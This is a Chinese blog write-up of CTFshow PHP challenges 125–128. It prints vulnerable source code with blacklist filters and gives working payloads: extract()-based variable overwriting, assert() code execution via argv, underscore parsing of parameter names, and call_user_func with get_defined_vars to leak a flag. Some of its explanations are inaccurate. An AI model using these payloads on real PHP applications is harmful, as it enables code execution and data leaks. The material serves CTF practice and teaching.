CTFshow web(php特性125-128)

                                                                        web125

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

代码解析:

1.CTF_SHOW存在

2.CTF_SHOW.COM存在

3.POST:fl0g=flag_give_me

4.fun不能匹配到特殊符号且小于16

前面两个好说,第三第四个有点难度,因为第三个看你什么打法,题目只要求不存在f10g而已的,看你什么打法的意思是你在哪弄出flag,是在  eval("$c".";");顶着一堆恐怖的过滤进行命令执行拿到flag还是在满足三个flag情况下直接拿到flag

这里我就直接满足三个if吧,我可不想顶着一堆恐怖的过滤进行命令执行拿到flag,无论phpinfo

还是system(ls)啥也不回显。

满足第三个if最重要的是啥?

我这里没有POST :f10g啊,那怎么办?

变量覆盖啊!

在fun中使用变量覆盖

POST:CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

解释:

  • preg_match() 函数用于检测 fun 是否包含敏感关键字,但是由于 $c 直接赋值为 $_POST['fun'],并没有对其进行过滤或处理,因此这个检测被绕过了。
  • c<=16 条件判断也会返回真,因为 c 被赋值为 $_POST['fun'],即 "extract($_POST)",而不是一个数值。
  • 再补充一点,php版本过低时,会自动将第一个 [ 变成 _ 下划线

                                                                        web126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

这里还是老样子进行变量覆盖,顶着一堆恐怖的过滤进行命令执行拿到flag太离谱了,那就满足三个if吧,第一第三个很简单,第二个!isset($_GET['fl0g'])似乎矛盾了,这里使用变量覆盖

payload:?$fl0g=flag_give_me

POST:CTF_SHOW=1&CTF[SHOW.COM=2&fun=assert($a[0])

解析:既然矛盾了,那我就把$_GET['fl0g']解析成别的不就好了!

在条件块中使用 assert($a[0]) 执行变量 $a[0] 中的代码。

根据输入 ?$fl0g=flag_give_me,将其解析为 $a[0],即 $fl0g=flag_give_me

这样既不会出现($_GET['fl0g'])又可以满足    if($fl0g==="flag_give_me"){

                                                                                web127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;

这里其实就考一个点:

php的变量名不能带点和空格,否则会被解析成为下划线

ctf_show=ilove36d

既然过滤了_,那就用空格就好

payload:ctf show=ilove36d

                                                                        web128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);

}

知识点:

php扩展目录下有php_gettext.dll

使用get_defined_vars()函数后

get_defined_vars — 会返回由所有已定义变量所组成的数组 这样可以获得 $flag

payload:?f1=_&f2=get_defined_vars

解析:

由于 check($f1) 返回true,代码进入了if语句块中。call_user_func($f1, $f2) 的执行相当于调用 call_user_func("_", "get_defined_vars")因此,最终会调用函数 _() 并将参数 "get_defined_vars" 传递给它。call_user_func(call_user_func($f1,$f2)) 表达式的结果将被传递给 var_dump(),从而输出flag的值。

真诚希望我的文章能够帮助大家,谢谢!

  • 18
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值